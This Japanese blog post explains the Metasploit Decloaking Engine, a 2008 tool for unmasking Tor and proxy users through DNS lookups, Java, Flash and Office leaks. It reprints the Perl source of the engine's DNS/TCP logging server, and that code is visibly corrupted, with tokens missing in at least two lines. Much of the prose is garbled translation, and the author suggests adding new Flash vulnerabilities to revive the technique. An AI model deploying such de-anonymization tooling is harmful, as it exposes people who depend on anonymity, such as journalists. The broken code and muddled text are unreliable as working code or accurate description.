
FBIは過去にTorを利用して児童ポルノサイトにアクセスするユーザを1000人以上摘発したことが知られています。
その手法はMetasploit FrameworkのDecloaking Engineを利用したものだと言われています。
今回はDecloaking Engineとはなんなのかを調査してみたいと思います。
Decloaking Engineの概要
Decloaking Engineはクライアント側の技術とカスタムサービスの組み合わせを使用してプロキシ設定に関係なくWebユーザの実際のIPアドレスを示すためのシステムです。
このツールは脆弱性を用いた攻撃は行いません。
Decloking Engineの動作原理
- Webクライアントがホスト名を解決しようとすると、その設定されたDNSサーバに検索要求を送信します。クライアントのDNSサーバは特定のドメインのネームサーバにクエリを送信します。ホスト名は一位の識別子が含まれている場合、DNSサーバはクライアントのIPアドレスを関連づけることが可能です。しかし被害者がsocks4a, socks5を利用しており、socks proxy越しにdnsリクエストを送信する場合、この手法は通用しません。socks4を利用している場合は通用します。
-
Javaアプレットは、ソケットAPIを使用してホスト名を解決しようとすると、ホスト名がアプレットを提供するWebサイトと同じでない場合、セキュリティ例外が発生します。しかし、セキュリティ例外がトリガされていても、DNS要求自体は依然として、クライアントのDNSサーバーに送信されます。これは、DNS対応プロキシサーバが使用中の場合、特定のクライアントがあっても例に、ウェブにアクセスして、そこからISPや企業をリークすることができます。
-
JavaアプレットはUDPパケットを送信すると、パケットは通常、プロキシサービスを経由せずに送信されます。これは、Webクライアントの実際の外部IPアドレスをリークします。このメソッドは、Javaの新しいバージョンでは動作しない可能性があり、パケットの宛先は、アプレットを提供するホストのIPアドレスに制限されています。
-
Javaが有効になっている場合、Webクライアントのホスト名とIPアドレスは、ソケットAPIにアクセスすることができます。この方法は、ユーザのホスト名とIPアドレスが漏洩します。言い換えれば、これは、システムがNATゲートウェイまたはプロキシサーバの背後にある場合でも、システムの内部IPアドレスが漏洩します。
-
Flashプラグインがインストールされると、それは、バック元のホストへの直接TCP接続を可能にします。これらの接続は、ユーザーのホストの実際の外部アドレスが漏れ、プロキシサーバをバイパスすることがあります。
-
Microsoft Officeがインストールされ、自動的に開いているドキュメントに設定されている場合、ファイルは自動的にインターネットから画像をダウンロードする返すことができます。これは、プロキシ設定を省略して、ユーザーの実際のDNSサーバを公開することができます。
カスタムDNSサーバ
動作原理で説明した手法を実行するためにはカスタムされたDNSサーバを用意しなければなりません。カスタムDNSサーバはmetasploit framework teamによりソースコードが公開されています。
#!/usr/bin/perl
###############
use Net::DNS::Nameserver;
use DBD::Pg;
use strict;
use warnings;
# Configure the user ID to run as (must start as root)
my $user = 1015;
# Configure the interfaces and ports
# You need :53 on the wildcard domain and :5353 on the IP running the web site
my $bind = [ ['0.0.0.0', 53], ['0.0.0.0', 5353] ];
# You need :53530 TCP on the IP running the web site
my $tcps = [ ['0.0.0.0', 53530] ];
# Wildcard subdomain we handle DNS for
my $dom = "red.metasploit.com";
# Configure postgres credentials
my $db_name = "dbname";
my $db_user = "dbuser";
my $db_pass = "dbpass";
my $dbh;
my $opts = {
AutoCommit => 1,
RaiseError => 0,
};
# Escape the $dom var to be a valid regex
$dom =~ s/\./\\\./g;
foreach my $c ( @{$bind} ) {
if (! fork()) {
Launch($c->[0], $c->[1]);
exit(0);
}
}
foreach my $c ( @{$tcps} ) {
if (! fork()) {
LaunchTCP($c->[0], $c->[1]);
exit(0);
}
}
exit(0);
# This table must already exist
##
# Table "public.requests"
# Column | Type | Modifiers
# --------+-----------------------+-----------
# cid | character(32) |
# type | character varying(16) |
# eip | character varying(16) |
# iip | character varying(16) |
# dip | character varying(16) |
# stamp | timestamp |
##
sub reply_handler {
my ($qname, $qclass, $qtype, $peerhost) = @_;
my ($rcode, @ans, @auth, @add);
if ($qname =~ m/^([a-z0-9]{32})\.(\w+)\.(\d+\.\d+\.\d+\.\d+)\.(\d+\.\d+\.\d+\.\d+)\.$dom/) {
# print "$peerhost > $qname (MATCH)\n";
my ($cid, $type, $eip, $iip, $dip) = ($1, $2, $3, $4, $peerhost);
my $sth = $dbh->prepare("INSERT INTO requests values (?, ?, ?, ?, ?, now())");
$sth->execute($cid, $type, $eip, $iip, $dip);
$sth->finish();
}else{
# print "$peerhost > $qname (NO MATCH)\n";
}
if ($qtype eq "A")
{
my ($ttl, $rdata) = (1, $peerhost);
push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
$rcode = "NOERROR";
}
elsif ($qtype eq "PTR") {
my ($ttl, $rdata) = (1, $peerhost);
push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
$rcode = "NOERROR";
}
else {
my ($ttl, $rdata) = (1, $peerhost);
push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
$rcode = "NOERROR";
}
# mark the answer as authoritive (by setting the 'aa' flag
return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
}
sub Launch {
my $host = shift();
my $port = shift();
$0 .= " ($host:$port)";
$dbh = DBI->connect("DBI:Pg:dbname=$db_name", $db_user, $db_pass, $opts) || die "Couldn't connect to database: " . DBI->errstr;
my $ns = Net::DNS::Nameserver->new(
LocalPort => $port,
LocalAddr => $host,
ReplyHandler => \&reply_handler,
Verbose => 0,
);
$ = $user;
if ($ns) {
$ns->main_loop;
} else {
die "Couldn't create nameserver object\n";
}
}
sub LaunchTCP {
my $host = shift();
my $port = shift();
$0 .= " TCP ($host:$port)";
my $srv = IO::Socket::INET->new(
'Proto' => 'tcp',
'LocalPort' => $port,
'LocalAddr' => $host,
'Listen' => 5,
'Reuse' => 1
);
die unless $srv;
while (my $cli = $srv->accept()) {
if(! fork()) {
my $sel = IO::Select->new($cli);
$cli->autoflush(1);
if ($sel->can_read(5)) {
my $buf = ;
if ($buf && $buf =~ m/^([a-z0-9]{32}):(.*)/i) {
my $cid = $1;
my $eip = $2;
chomp($eip);
$dbh = DBI->connect("DBI:Pg:dbname=$db_name", $db_user, $db_pass, $opts) || die "Couldn't connect to database: " . DBI->errstr;
my $sth = $dbh->prepare("INSERT INTO requests values (?, ?, ?, ?, ?, now())");
$sth->execute($cid, 'socket', $eip, '0.0.0.0', $cli->peerhost);
$sth->finish();
print $cli ($cli->peerhost . "\x00");
}
}
$cli->close();
exit(0);
}
}
}
カスタムDNSサーバはPerlのはNet::DNS::Nameserverのスクリプトを使用して要求を処理し、特定のドメインに対するすべての要求を処理します。このDNSサーバーの巧妙な機能はspy.metasploit.comドメイン内の任意のホストを検索すると、独自に設定されたDNSサーバの外部IPアドレスを返すことです。また、このサーバーはフラッシュからJavaやTCP要求からのUDP要求を処理します。
decloaking Engineの現状と未来
Decloaking Engineは2008年に発表されましたが、現時点では削除されているようです。確かに陳腐化する手法ではあると思いますが、FBIが利用していると言うならば、基本となる考え方は実績があり、例えば日々発見されるFlashなどの脆弱性を組み込めば使えるようになるはずです。
しかし未来を見据えるなら、Flashは今後どのブラウザでも廃止されHTML5になるでしょう。JavaAppletやJavaはTorブラウザからは使用すべきではないということはTorを利用している人なら多くの人が理解していますし、デフォルト設定ではそうなっています。
まとめ
FBIの現時点での手法は苦肉の策であり、脆弱性を組み込まない限り成功率も低く、将来的にも使えるものではないようです。DeepWebは必要に駆られたジャーナリストなどに使用されるならば、新たな可能性を秘めていると考えますが、児童ポルノに関わる犯罪をなくすためにも新たな手法が望まれています。